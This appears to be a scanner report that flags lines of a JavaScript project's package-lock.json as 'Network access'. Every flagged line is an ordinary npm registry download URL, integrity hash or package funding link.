"funding": [ "https://github.com/sponsors/sxzz", "https://opencollective.com/debug" - Network accessline 3223
"https://github.com/sponsors/sxzz", - Network accessline 3224
"https://opencollective.com/debug" - Network accessline 3231
"node_modules/parse5": { "version": "7.3.0", "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz", - Network accessline 3232
"version": "7.3.0", "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz", "integrity": "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==", - Network accessline 3233
"resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz", - Network accessline 3239
}, "funding": { "url": "https://github.com/inikulin/parse5?sponsor=1" - Network accessline 3240
"funding": { "url": "https://github.com/inikulin/parse5?sponsor=1" } - Network accessline 3241
"url": "https://github.com/inikulin/parse5?sponsor=1" - Network accessline 3244
"node_modules/path-to-regexp": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-6.3.0.tgz", - Network accessline 3245
"version": "6.3.0", "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-6.3.0.tgz", "integrity": "sha512-Yhpw4T9C6hPpgPeA28us07OJeqZ5EzQTkbfwuhsUg0c237RomFoETJgmp2sa3F/41gfLE6G5cqcYwznmeEeOlQ==", - Network accessline 3246
"resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-6.3.0.tgz", - Network accessline 3251
"node_modules/pathe": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", - Network accessline 3252
"version": "2.0.3", "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", - Network accessline 3253
"resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", - Network accessline 3258
"node_modules/picocolors": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", - Network accessline 3259
"version": "1.1.1", "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", - Network accessline 3260
"resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", - Network accessline 3265
"node_modules/picomatch": { "version": "4.0.7", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.7.tgz", - Network accessline 3266
"version": "4.0.7", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.7.tgz", "integrity": "sha512-qcJu88Q2IWqJsDD529JKMdwGm/dvInW4HvQnRwiH9JtihJvzGOscDtHE3x1pBKeUOTysQ8kVmLnJ2kJu7yhcGA==", - Network accessline 3267
"resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.7.tgz", - Network accessline 3273
}, "funding": { "url": "https://github.com/sponsors/jonschlinkert" - Network accessline 3274
"funding": { "url": "https://github.com/sponsors/jonschlinkert" } - Network accessline 3275
"url": "https://github.com/sponsors/jonschlinkert" - Network accessline 3278
"node_modules/postcss": { "version": "8.5.29", "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.29.tgz", - Network accessline 3279
"version": "8.5.29", "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.29.tgz", "integrity": "sha512-49cGhUbXj8Qenv0iTMxA1cFBzxXoctpC9Ujd77t1WcbJIr6nF/eI7g/8MgxrYldFRuAXvja7xQRwavoW7kgrxQ==", - Network accessline 3280
"resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.29.tgz", - Network accessline 3284
{ "type": "opencollective", "url": "https://opencollective.com/postcss/" - Network accessline 3285
"type": "opencollective", "url": "https://opencollective.com/postcss/" }, - Network accessline 3286
"url": "https://opencollective.com/postcss/" - Network accessline 3288
{ "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/postcss" - Network accessline 3289
"type": "tidelift", "url": "https://tidelift.com/funding/github/npm/postcss" }, - Network accessline 3290
"url": "https://tidelift.com/funding/github/npm/postcss" - Network accessline 3292
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 3293
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 3294
"url": "https://github.com/sponsors/ai" - Network accessline 3307
"node_modules/psl": { "version": "1.15.0", "resolved": "https://registry.npmjs.org/psl/-/psl-1.15.0.tgz", - Network accessline 3308
"version": "1.15.0", "resolved": "https://registry.npmjs.org/psl/-/psl-1.15.0.tgz", "integrity": "sha512-JZd3gMVBAVQkSs6HdNZo9Sdo0LNcQeMNP3CozBJb3JYC/QUYZTnKxP+f8oWRX4rHP5EurWxqAHTSwUCjlNKa1w==", - Network accessline 3309
"resolved": "https://registry.npmjs.org/psl/-/psl-1.15.0.tgz", - Network accessline 3315
}, "funding": { "url": "https://github.com/sponsors/lupomontero" - Network accessline 3316
"funding": { "url": "https://github.com/sponsors/lupomontero" } - Network accessline 3317
"url": "https://github.com/sponsors/lupomontero" - Network accessline 3320
"node_modules/punycode": { "version": "2.3.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", - Network accessline 3321
"version": "2.3.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", - Network accessline 3322
"resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", - Network accessline 3330
"node_modules/querystringify": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", - Network accessline 3331
"version": "2.2.0", "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==", - Network accessline 3332
"resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", - Network accessline 3337
"node_modules/requires-port": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", - Network accessline 3338
"version": "1.0.0", "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", - Network accessline 3339
"resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", - Network accessline 3344
"node_modules/rolldown": { "version": "1.2.12", "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.2.12.tgz", - Network accessline 3345
"version": "1.2.12", "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.2.12.tgz", "integrity": "sha512-8wafseiaG80xmXSfqidUNqZcylTlhmPZZt+za2m+js2sFZ8dTNlhIOV2WcbIPx2hgwPBJpEUGFAMZ9bgBBLTSQ==", - Network accessline 3346
"resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.2.12.tgz", - Network accessline 3378
"node_modules/rrweb-cssom": { "version": "0.7.1", "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.7.1.tgz", - Network accessline 3379
"version": "0.7.1", "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.7.1.tgz", "integrity": "sha512-TrEMa7JGdVm0UThDJSx7ddw5nVm3UJS9o9CCIZ72B1vSyEZoziDqBYP3XIoi/12lKrJR8rE3jeFHMok2F/Mnsg==", - Network accessline 3380
"resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.7.1.tgz", - Network accessline 3385
"node_modules/safer-buffer": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - Network accessline 3386
"version": "2.1.2", "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", - Network accessline 3387
"resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - Network accessline 3392
"node_modules/saxes": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", - Network accessline 3393
"version": "6.0.0", "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", "integrity": "sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==", - Network accessline 3394
"resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", - Network accessline 3405
"node_modules/semver": { "version": "7.8.5", "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", - Network accessline 3406
"version": "7.8.5", "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", - Network accessline 3407
"resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", - Network accessline 3418
"node_modules/sharp": { "version": "0.35.2", "resolved": "https://registry.npmjs.org/sharp/-/sharp-0.35.2.tgz", - Network accessline 3419
"version": "0.35.2", "resolved": "https://registry.npmjs.org/sharp/-/sharp-0.35.2.tgz", "integrity": "sha512-FVtFjtBCMiJS6yb5CX7Sop45WFMpeGw6oRKuJnXYgf/f1ms/D7LE/ZUSNxnW7rZ/dbslQWYkoqFHGPaDBtaK4w==", - Network accessline 3420
"resolved": "https://registry.npmjs.org/sharp/-/sharp-0.35.2.tgz", - Network accessline 3431
}, "funding": { "url": "https://opencollective.com/libvips" - Network accessline 3432
"funding": { "url": "https://opencollective.com/libvips" }, - Network accessline 3433
"url": "https://opencollective.com/libvips" - Network accessline 3463
"node_modules/siginfo": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", - Network accessline 3464
"version": "2.0.0", "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==", - Network accessline 3465
"resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", - Network accessline 3470
"node_modules/source-map-js": { "version": "1.2.2", "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.2.tgz", - Network accessline 3471
"version": "1.2.2", "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.2.tgz", "integrity": "sha512-KGj/8Y43x35aZVDtt+J4mK1hoLGHULMYfSkODJNQjNDC3oW1PqPoxMwo0pLUsWM/UEGzON/NxeHywEfNXNP3Vw==", - Network accessline 3472
"resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.2.tgz", - Network accessline 3480
"node_modules/stackback": { "version": "0.0.2", "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", - Network accessline 3481
"version": "0.0.2", "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==", - Network accessline 3482
"resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", - Network accessline 3487
"node_modules/std-env": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/std-env/-/std-env-4.3.0.tgz", - Network accessline 3488
"version": "4.3.0", "resolved": "https://registry.npmjs.org/std-env/-/std-env-4.3.0.tgz", "integrity": "sha512-OtU/EgQ1kIm5KwqQpBC6ZEMXrZRui11w8zgfTWp8cdO9B8OaPsbA8bTHO2P+HNo1VlUTGMVBwPhydu6poeXiag==", - Network accessline 3489
"resolved": "https://registry.npmjs.org/std-env/-/std-env-4.3.0.tgz", - Network accessline 3494
"node_modules/supports-color": { "version": "10.2.2", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-10.2.2.tgz", - Network accessline 3495
"version": "10.2.2", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-10.2.2.tgz", "integrity": "sha512-SS+jx45GF1QjgEXQx4NJZV9ImqmO2NPz5FNsIHrsDjh2YsHnawpan7SNQ1o8NuhrbHZy9AZhIoCUiCeaW/C80g==", - Network accessline 3496
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-10.2.2.tgz", - Network accessline 3502
}, "funding": { "url": "https://github.com/chalk/supports-color?sponsor=1" - Network accessline 3503
"funding": { "url": "https://github.com/chalk/supports-color?sponsor=1" } - Network accessline 3504
"url": "https://github.com/chalk/supports-color?sponsor=1" - Network accessline 3507
"node_modules/symbol-tree": { "version": "3.2.4", "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", - Network accessline 3508
"version": "3.2.4", "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==", - Network accessline 3509
"resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", - Network accessline 3514
"node_modules/tinybench": { "version": "2.9.0", "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz", - Network accessline 3515
"version": "2.9.0", "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz", "integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==", - Network accessline 3516
"resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz", - Network accessline 3521
"node_modules/tinyexec": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.3.1.tgz", - Network accessline 3522
"version": "1.3.1", "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.3.1.tgz", "integrity": "sha512-GCvB3aoys96IuDFBMcTB46JOR6mdMtAToqwiW8JlWhsoh1mhHi/xn9ss/Dg7N555GiJyEt2qzoG/NHCwM6h1EA==", - Network accessline 3523
"resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.3.1.tgz", - Network accessline 3531
"node_modules/tinyglobby": { "version": "0.2.17", "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", - Network accessline 3532
"version": "0.2.17", "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", - Network accessline 3533
"resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", - Network accessline 3543
}, "funding": { "url": "https://github.com/sponsors/SuperchupuDev" - Network accessline 3544
"funding": { "url": "https://github.com/sponsors/SuperchupuDev" } - Network accessline 3545
"url": "https://github.com/sponsors/SuperchupuDev" - Network accessline 3548
"node_modules/tinyrainbow": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.2.0.tgz", - Network accessline 3549
"version": "3.2.0", "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.2.0.tgz", "integrity": "sha512-LgO3D9yZJjApUiuUfl9iFAwrtaX4+lok3wJIqttGoKCHlWUqHqbQpnxCf82L8FjgKsh4iGo78hqJwgL8F6To2A==", - Network accessline 3550
"resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.2.0.tgz", - Network accessline 3558
"node_modules/tough-cookie": { "version": "4.1.4", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.4.tgz", - Network accessline 3559
"version": "4.1.4", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.4.tgz", "integrity": "sha512-Loo5UUvLD9ScZ6jh8beX1T6sO1w2/MpCRpEP7V280GKMVUQ0Jzar2U3UJPsrdbziLEMMhu3Ujnq//rhiFuIeag==", - Network accessline 3560
"resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.4.tgz", - Network accessline 3574
"node_modules/tr46": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz", - Network accessline 3575
"version": "5.1.1", "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz", "integrity": "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw==", - Network accessline 3576
"resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz", - Network accessline 3587
"node_modules/tslib": { "version": "2.8.1", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", - Network accessline 3588
"version": "2.8.1", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", - Network accessline 3589
"resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", - Network accessline 3595
"node_modules/typescript": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/typescript/-/typescript-7.0.2.tgz", - Network accessline 3596
"version": "7.0.2", "resolved": "https://registry.npmjs.org/typescript/-/typescript-7.0.2.tgz", "integrity": "sha512-8FYau96o3NKOhbjKi/qNvG/W5jhzxkbdm5sj9AbZ/5T5sWqn3hJgLfGx27sRKZWTvyzCP8dLRBTf5tBTSRVUNA==", - Network accessline 3597
"resolved": "https://registry.npmjs.org/typescript/-/typescript-7.0.2.tgz", - Network accessline 3630
"node_modules/undici": { "version": "7.28.0", "resolved": "https://registry.npmjs.org/undici/-/undici-7.28.0.tgz", - Network accessline 3631
"version": "7.28.0", "resolved": "https://registry.npmjs.org/undici/-/undici-7.28.0.tgz", "integrity": "sha512-cRZYrTDwWznlnRiPjggAGxZXanty6M8RV1ff8Wm4LWXBp7/IG8v5DnOm74DtUBp9OONpK75YlPnIjQqX0dBDtA==", - Network accessline 3632
"resolved": "https://registry.npmjs.org/undici/-/undici-7.28.0.tgz", - Network accessline 3640
"node_modules/unenv": { "version": "2.0.0-rc.24", "resolved": "https://registry.npmjs.org/unenv/-/unenv-2.0.0-rc.24.tgz", - Network accessline 3641
"version": "2.0.0-rc.24", "resolved": "https://registry.npmjs.org/unenv/-/unenv-2.0.0-rc.24.tgz", "integrity": "sha512-i7qRCmY42zmCwnYlh9H2SvLEypEFGye5iRmEMKjcGi7zk9UquigRjFtTLz0TYqr0ZGLZhaMHl/foy1bZR+Cwlw==", - Network accessline 3642
"resolved": "https://registry.npmjs.org/unenv/-/unenv-2.0.0-rc.24.tgz", - Network accessline 3650
"node_modules/universalify": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", - Network accessline 3651
"version": "0.2.0", "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", - Network accessline 3652
"resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", - Network accessline 3660
"node_modules/url-parse": { "version": "1.5.10", "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", - Network accessline 3661
"version": "1.5.10", "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", - Network accessline 3662
"resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", - Network accessline 3671
"node_modules/vite": { "version": "8.3.3", "resolved": "https://registry.npmjs.org/vite/-/vite-8.3.3.tgz", - Network accessline 3672
"version": "8.3.3", "resolved": "https://registry.npmjs.org/vite/-/vite-8.3.3.tgz", "integrity": "sha512-cTAldKPImjg6c+gk48U19POPn3GCBzZwpdsN8ZMEEcbpes+6/wvfqUd0C2y3qYY4wsj8PwgFwrZ/1jBPVttMSg==", - Network accessline 3673
"resolved": "https://registry.npmjs.org/vite/-/vite-8.3.3.tgz", - Network accessline 3689
}, "funding": { "url": "https://github.com/vitejs/vite?sponsor=1" - Network accessline 3690
"funding": { "url": "https://github.com/vitejs/vite?sponsor=1" }, - Network accessline 3691
"url": "https://github.com/vitejs/vite?sponsor=1" - Network accessline 3749
"node_modules/vitest": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.0.tgz", - Network accessline 3750
"version": "4.1.0", "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.0.tgz", "integrity": "sha512-YbDrMF9jM2Lqc++2530UourxZHmkKLxrs4+mYhEwqWS97WJ7wOYEkcr+QfRgJ3PW9wz3odRijLZjHEaRLTNbqw==", - Network accessline 3751
"resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.0.tgz", - Network accessline 3782
}, "funding": { "url": "https://opencollective.com/vitest" - Network accessline 3783
"funding": { "url": "https://opencollective.com/vitest" }, - Network accessline 3784
"url": "https://opencollective.com/vitest" - Network accessline 3831
"node_modules/vitest/node_modules/@vitest/pretty-format": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.0.tgz", - Network accessline 3832
"version": "4.1.0", "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.0.tgz", "integrity": "sha512-3RZLZlh88Ib0J7NQTRATfc/3ZPOnSUn2uDBUoGNn5T36+bALixmzphN26OUD3LRXWkJu4H0s5vvUeqBiw+kS0A==", - Network accessline 3833
"resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.0.tgz", - Network accessline 3839
}, "funding": { "url": "https://opencollective.com/vitest" - Network accessline 3840
"funding": { "url": "https://opencollective.com/vitest" } - Network accessline 3841
"url": "https://opencollective.com/vitest" - Network accessline 3844
"node_modules/vitest/node_modules/@vitest/runner": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.0.tgz", - Network accessline 3845
"version": "4.1.0", "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.0.tgz", "integrity": "sha512-Duvx2OzQ7d6OjchL+trw+aSrb9idh7pnNfxrklo14p3zmNL4qPCDeIJAK+eBKYjkIwG96Bc6vYuxhqDXQOWpoQ==", - Network accessline 3846
"resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.0.tgz", - Network accessline 3853
}, "funding": { "url": "https://opencollective.com/vitest" - Network accessline 3854
"funding": { "url": "https://opencollective.com/vitest" } - Network accessline 3855
"url": "https://opencollective.com/vitest" - Network accessline 3858
"node_modules/vitest/node_modules/@vitest/snapshot": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.0.tgz", - Network accessline 3859
"version": "4.1.0", "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.0.tgz", "integrity": "sha512-0Vy9euT1kgsnj1CHttwi9i9o+4rRLEaPRSOJ5gyv579GJkNpgJK+B4HSv/rAWixx2wdAFci1X4CEPjiu2bXIMg==", - Network accessline 3860
"resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.0.tgz", - Network accessline 3869
}, "funding": { "url": "https://opencollective.com/vitest" - Network accessline 3870
"funding": { "url": "https://opencollective.com/vitest" } - Network accessline 3871
"url": "https://opencollective.com/vitest" - Network accessline 3874
"node_modules/vitest/node_modules/@vitest/utils": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.0.tgz", - Network accessline 3875
"version": "4.1.0", "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.0.tgz", "integrity": "sha512-XfPXT6a8TZY3dcGY8EdwsBulFCIw+BeeX0RZn2x/BtiY/75YGh8FeWGG8QISN/WhaqSrE2OrlDgtF8q5uhOTmw==", - Network accessline 3876
"resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.0.tgz", - Network accessline 3884
}, "funding": { "url": "https://opencollective.com/vitest" - Network accessline 3885
"funding": { "url": "https://opencollective.com/vitest" } - Network accessline 3886
"url": "https://opencollective.com/vitest" - Network accessline 3889
"node_modules/w3c-xmlserializer": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz", - Network accessline 3890
"version": "5.0.0", "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz", "integrity": "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA==", - Network accessline 3891
"resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz", - Network accessline 3902
"node_modules/webidl-conversions": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", - Network accessline 3903
"version": "7.0.0", "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==", - Network accessline 3904
"resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", - Network accessline 3912
"node_modules/whatwg-encoding": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz", - Network accessline 3913
"version": "3.1.1", "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz", "integrity": "sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==", - Network accessline 3914
"resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz", - Network accessline 3926
"node_modules/whatwg-mimetype": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz", - Network accessline 3927
"version": "4.0.0", "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz", "integrity": "sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==", - Network accessline 3928
"resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz", - Network accessline 3936
"node_modules/whatwg-url": { "version": "14.2.0", "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz", - Network accessline 3937
"version": "14.2.0", "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz", "integrity": "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw==", - Network accessline 3938
"resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz", - Network accessline 3950
"node_modules/why-is-node-running": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", - Network accessline 3951
"version": "2.3.0", "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==", - Network accessline 3952
"resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", - Network accessline 3967
"node_modules/workerd": { "version": "1.20260722.1", "resolved": "https://registry.npmjs.org/workerd/-/workerd-1.20260722.1.tgz", - Network accessline 3968
"version": "1.20260722.1", "resolved": "https://registry.npmjs.org/workerd/-/workerd-1.20260722.1.tgz", "integrity": "sha512-NycKuc1x2onvsRfGGpM093vRlLFU2zHDAM0+APpccfg4+gZxDGCH27RmdDvkeBuoZyYqgLo3oAfF6re4mvC3vQ==", - Network accessline 3969
"resolved": "https://registry.npmjs.org/workerd/-/workerd-1.20260722.1.tgz", - Network accessline 3988
"node_modules/wrangler": { "version": "4.115.0", "resolved": "https://registry.npmjs.org/wrangler/-/wrangler-4.115.0.tgz", - Network accessline 3989
